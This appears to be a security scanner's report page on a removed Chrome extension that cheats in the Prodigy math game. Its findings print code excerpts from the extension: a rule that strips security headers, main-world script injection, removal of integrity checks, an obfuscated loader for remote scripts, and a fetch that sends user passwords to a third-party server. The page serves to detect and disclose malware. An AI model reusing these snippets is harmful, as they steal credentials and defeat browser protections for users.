Prodigy Hacking Extension | X Loader

ID: afddfnijmdokibafplbpnpmpmccpgpni

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
2.0.0
Size
1.89 MB
Rating
3.3/5
Reviews
187
Users
10,000
Type
Extension
Updated
Feb 23, 2024
Category
Lifestyle Games
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
agrthedevView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
2
Active
0
Obsolete
1
Listed
2
Unlisted
0
Total Users
13,587

A loader for Prodigy X.

Hacking Prodigy has never been easier! While in the game, click the arrow on the top-left side of your screen to begin. These are the hacks: • Player • Max Account (Maxes out your gold, level, member stars, bounty score, win loss ratio, dark tower level, achievements, pets, and inventory.) • Set Gold • Set Level • Uncap Level (Allows you to change your level to something greater then 100, although it will not be shown to anyone else.) • Set Member Stars • Set Bounty Points • Obtain Conjure Cubes • Set Wins • Set Losses • Get All Achievements • Permanent Morph (If you are currently morphed, it will last permanently) • Set Dark Tower Floor • Change Name (Only from the available options) • Set Name (Allows you to change your name to anything, although it will not be shown to anyone else.) • Set Grade • Complete Current Task In Quest (Can be used to complete a quest. To complete the quest you have to use this hack then complete the dialog then use the hack again.) • Unlimited Spins (Gives you unlimited spins on the Wheel Of Wonder.) • Inventory • Item Stacker (Gets every item in the game.) • Clear Inventory • Selector Basic (Allows you to get all of a certain category of items.) • Selector Advanced (Allows you to get one item.) • Obtain All Furniture • Complete Rune Run (This can be used to get runes. Every time you use this hack you will have a chance of getting a rune. Warning: This hack sometimes takes a while to function. Give it time.) • Pet • Get All Pets • Clear All Pets • Fix Battle Crash (If a battle crashes when entering it, try to reload and use this hack before entering the battle.) • Add Pet • Delete Pet • Edit Pet • Battle • PVP Health (Makes you have 1 billion health.) • Instant Kill • Escape Battle • Win Battle (Does not work in PVP.) • Fill Battle Energy • Heal Team • Easy Mode (Math is disabled.) • Utility • Save Character • Toggle Click Teleporting • Edit Walk Speed • Reset Account • Find The User Id of People on the Screen (Can be used with duplicated account.) • Duplicate Account (From a User Id you can copy all of it's data onto your account.) • Close All Popups • Generate Alt Account • Toggle Arrow Key Movement • Teleport To Map • Skip Tutorial • Mini-game • Edit Dino Dig Walk Speed • Extra Time In Dino Dig (Adds 100 days) • End Dino Dig (Useful if you add on 100 days) That's the hacks! We hope you enjoy X Loader! Warning: Do not use Prodigy X on your school account. Using it to get school credit is strictly prohibited. Disclaimer: We want to clarify that we are not affiliated with "Prodigy" or its trademarks. Any references made to "Prodigy" or its trademarks are purely for explanatory purposes. Our views are independent and do not represent those of "Prodigy" or its affiliates. Any mentioned trademarks belong to their respective owners, and we do not claim ownership or endorsement of them.

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 20% increase: Access to sensitive domains increases potential impact
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
declarativeNetRequestFeedback
Permission
Medium
This permission provides network request modification logs. Rated Medium because it can monitor network request changes and debug traffic modifications.
*://*.prodigygame.com/*
Host
Medium
Host permission — access limited to this URL pattern.
*://raw.githubusercontent.com/*
Host
Medium
Host permission — access limited to this URL pattern.
Access to Sensitive Domains
Risk Factor
Medium
This extension requests access to sensitive domains: *://raw.githubusercontent.com/*

The declarativeNetRequest rule strips both the Content-Security-Policy and X-Frame-Options response headers from every prodigygame.com page load. Removing CSP disables all browser-enforced script/source restrictions on the target site, enabling arbitrary JavaScript injection. This is a prerequisite for the subsequent script injection performed by contentScript.js to succeed without triggering browser security blocks.

rules.json (Line 12)
[  {    "id": 2,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "content-security-policy",          "operation": "remove"        },        {          "header": "x-frame-options",          "operation": "remove"        }      ]    },    "condition": {      "urlFilter": "*://*.prodigygame.com/*",      "resourceTypes": [        "main_frame"      ]    }  }]

The content script uses the setAttribute("onreset", code) + dispatchEvent("reset") pattern to execute arbitrary JavaScript in the main page context rather than the isolated content script context. This bypasses Chrome's content script sandboxing entirely: code set as an inline event handler on the document element runs with page-level privileges and has access to all page globals. The injected payload is a patched version of the game binary concatenated with the full cheat bundle.

contentScript.js (Line 1)
window.scriptIsInjected || (window.scriptIsInjected = !0, setTimeout((async function() {      try {        const e = await fetch(chrome.runtime.getURL("game.min.js"))          .then((e => e.text())),          ...          o = await fetch(chrome.runtime.getURL("extension-bundle.js"))          .then((e => e.text()));        document.documentElement.setAttribute("onreset", `${n}\nSW.Load.decrementLoadSemaphore();\n${o}`          .replaceAll("new URL", "new window.URL")), document.documentElement.dispatchEvent(new CustomEvent(          "reset")), document.documentElement.removeAttribute("onreset")      } catch (e) {        alert("Failed to load hack\n" + e.message)      }    }), 1e3)

The 'Generate Alt Account' feature prompts the user for a username and password, then transmits them as plaintext query parameters to a third-party server (hostedposted.com) which is not affiliated with Prodigy. The server returns credentials and a token, and the extension then uses that token to POST a full copy of the player's character data to the generated account. This routes both user-supplied credentials and the entire player save-state through an operator-controlled third-party server.

extension-bundle.js (Line 3299)
const [n, o] = await (await fetch(  `https://prodigy-api.hostedposted.com/generate-account?${new URLSearchParams({username:await r.oP.string("Please enter your username..."),password:await r.oP.string("Please enter your password"),lastInitial:await r.oP.string("Please enter your last initial")})}`)).json(),  a = `Basic ${btoa(`${n}:${o}`)}`, {    token: s,    userID: i  } = await (await fetch("https://prodigy-api.hostedposted.com/token", {    headers: {      Authorization: a    }  })).json(),  l = await fetch(`https://api.prodigygame.com/game-api/v3/characters/${i}`, {    headers: {      authorization: `Bearer ${s}`,      ...    },    body: JSON.stringify({      data: JSON.stringify(t.getUpdatedData(!0)),      userID: i    }),    method: "POST"  });

An obfuscated script block using RC4-based string encryption and a shuffled string array is injected into the page via innerHTML. The obfuscation technique — rotating an encoded string array, decrypting with XOR/atob, and using new Function() to obtain the global object while evading strict-mode checks — is a hallmark of malicious payload loaders. The decoded logic appears to dynamically append script elements with external URLs (indices 0x10/0x13 map to URL fragments), meaning additional remote code is loaded at runtime whose content cannot be statically audited from this bundle.

extension-bundle.js (Line 4597)
const e = document.createElement("script");e.innerHTML =  "\n    /*<![CDATA[/* */\n    (function(){if(window.d1eec7c43b3c7f4b016e0e70f4230f35) return; window.d1eec7c43b3c7f4b016e0e70f4230f35=\"Ef7yMrXy...\";var a=['acOtQ3NVXg==','fsOrV3tQRhU=',...];(function(b,e){var f=function(g){while(--g){b['push'](b['shift']());}};f(++e);}(a,0x192));var b=function(c,d){...var h;try{var j=Function('return (function() '+'{}.constructor(\"return this\")( )'+');');h=j();}...b['UyOqLS']=g;...};var q=window;q[b('0x0','C@ZR')]=...;var l=[b('0x18','l*ev'),b('0x12','bQiM')],y=0x0,w,j=function(){if(!l[y])return;w=q[b('0x17','$iUD')][b('0xb','nEFX')](b('0xe','Z&4H'));w[b('0x15','wXgL')]=b('0x13','@7a&');...w[b('0x2','87TI')]=b('0x10','KT$0')+l[y];...c[b('0x19','FI9Z')][b('0x9','pk&p')](w,c);};j();})();\n    /*]]>/* */    \n    ",  document.head.appendChild(e)

The extension blocks the legitimate game.min.js file from Prodigy's CDN using declarativeNetRequest, preventing the real game code from loading. This is the first step in a man-in-the-browser attack: the original script is suppressed so the extension can inject its own modified version (fetched via chrome.runtime.getURL) that has had game internals exposed and the cheat bundle appended.

rules.json (Line 2)
{  "id": 1,  "priority": 1,  "action": {    "type": "block"  },  "condition": {    "urlFilter": "https://code.prodigygame.com/code/*/game.min.js?v=*"  }}

The extension iterates over every <script> and <link> element on the page and removes their integrity attributes, disabling Subresource Integrity (SRI) checks. SRI prevents browsers from executing scripts whose content does not match a known cryptographic hash; removing these attributes silences any browser rejection of the substituted or modified game.min.js before the replacement injection occurs.

contentScript.js (Line 19)
console.group("integrity patches"), [...document.getElementsByTagName("script"), ...document.getElementsByTagName("link")].forEach((e => {e.integrity && (console.log(e.integrity), e.removeAttribute("integrity"))})), console.groupEnd());

The extension uses regex-based patching to surgically modify the game's minified JavaScript at runtime, injecting getters onto a global object (window.priorLodash) that expose the game instance, player object, network handler, game data, and constants. The `network` reference specifically exposes the HTTP client context used for API calls, which can be leveraged to forge authenticated requests to Prodigy's backend. An interval ensures the patched lodash reference is never replaced.

contentScript.js (Line 5)
const n = [  [/s\),this\._game=(.)/,    `s),this._game=$1;window.priorLodash = window._;Object.defineProperty(window.priorLodash, "game", {get: () => this._game, ...});Object.defineProperty(window.priorLodash, "player", {get: () => window._.${...}, ...});Object.defineProperty(window.priorLodash, "network", {get: () => window._.player.game.input.onDown._bindings[0].context, ...});setInterval(() => {if(window.priorLodash!==window._){window._=priorLodash;}}, 100);`  ]].reduce(((e, [t, n]) => e.replace(t, n)), e)

The extension injects Google Analytics (measurement ID G-SENY5K9EWR) into every Prodigy game session and fires a custom 'uses_extension' event, allowing the extension author to track the full population of users running the extension including browsing session metadata. This happens without user consent and is injected into a third-party site the user is visiting.

extension-bundle.js (Line 4590)
const ct = document.createElement("script");ct.src = "https://www.googletagmanager.com/gtag/js?id=G-SENY5K9EWR", document.head.appendChild(ct);const dt = document.createElement("script");dt.innerHTML =  "window.dataLayer = window.dataLayer || [];\nfunction gtag(){dataLayer.push(arguments);}\ngtag('js', new Date());\n\ngtag('config', 'G-SENY5K9EWR');\ngtag('event', \"uses_extension\");\n",  document.head.appendChild(dt);

By severity

Critical4
High4
Medium0
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.0.08

Files with findings

3 distinct paths — top paths by unique finding count:

  • contentScript.js3
  • extension-bundle.js3
  • rules.json2
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
rules.json (line 12)The declarativeNetRequest rule strips both the Content-Security-Policy and X-Frame-Options response headers from every prodigygame.com page load. Removing CSP disables all browser-enforced script/source restrictions o…
2Code Injection
critical
contentScript.js (line 1)The content script uses the setAttribute("onreset", code) + dispatchEvent("reset") pattern to execute arbitrary JavaScript in the main page context rather than the isolated content script context. This bypasses Chrome…
3Data Exfiltration
critical
extension-bundle.js (line 3299)The 'Generate Alt Account' feature prompts the user for a username and password, then transmits them as plaintext query parameters to a third-party server (hostedposted.com) which is not affiliated with Prodigy. The s…
4Obfuscation
critical
extension-bundle.js (line 4597)An obfuscated script block using RC4-based string encryption and a shuffled string array is injected into the page via innerHTML. The obfuscation technique — rotating an encoded string array, decrypting with XOR/atob,…
5Code Injection
high
rules.json (line 2)The extension blocks the legitimate game.min.js file from Prodigy's CDN using declarativeNetRequest, preventing the real game code from loading. This is the first step in a man-in-the-browser attack: the original scri…
6Code Injection
high
contentScript.js (line 19)The extension iterates over every <script> and <link> element on the page and removes their integrity attributes, disabling Subresource Integrity (SRI) checks. SRI prevents browsers from executing scripts whose conten…
7Tracking
high
extension-bundle.js (line 4590)The extension injects Google Analytics (measurement ID G-SENY5K9EWR) into every Prodigy game session and fires a custom 'uses_extension' event, allowing the extension author to track the full population of users runni…
8Unauthorized Data Collection
high
contentScript.js (line 5)The extension uses regex-based patching to surgically modify the game's minified JavaScript at runtime, injecting getters onto a global object (window.priorLodash) that expose the game instance, player object, network…
URLs
79
IPv4
5
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

code.prodigygame.com/code/*/game.min.jshttps://code.prodigygame.com/code/*/game.min.js?v=*
tailwindcss.com/n*//*/n1.https://tailwindcss.com\n*//*\n1.
github.com/mozdevs/cssremedy/issues/4https://github.com/mozdevs/cssremedy/issues/4
github.com/tailwindcss/tailwindcss/pull/116https://github.com/tailwindcss/tailwindcss/pull/116
bugzilla.mozilla.org/show_bug.cgihttps://bugzilla.mozilla.org/show_bug.cgi?id=190655
bugs.chromium.org/p/chromium/issues/detailhttps://bugs.chromium.org/p/chromium/issues/detail?id=999088,
bugs.webkit.org/show_bug.cgihttps://bugs.webkit.org/show_bug.cgi?id=201297
bugs.chromium.org/p/chromium/issues/detailhttps://bugs.chromium.org/p/chromium/issues/detail?id=935729,
bugs.webkit.org/show_bug.cgihttps://bugs.webkit.org/show_bug.cgi?id=195016
github.com/mozilla/gecko-dev/blob/2f9eacd9d3d995c937b4251a5557d95d494c9be1/layout/style/res/forms.csshttps://github.com/mozilla/gecko-dev/blob/2f9eacd9d3d995c937b4251a5557d95d494c9be1/layout/style/res/forms.css#L728-L737
Showing 1 to 10 of 80 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

1.23.82.72
IPv4
-
2.2.82.64
IPv4
-
2.12.51.56
IPv4
-
3.95.29.25
IPv4
-
21.15.46.55
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
2.0.0
Latest
1.89 MB
Malicious
8
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.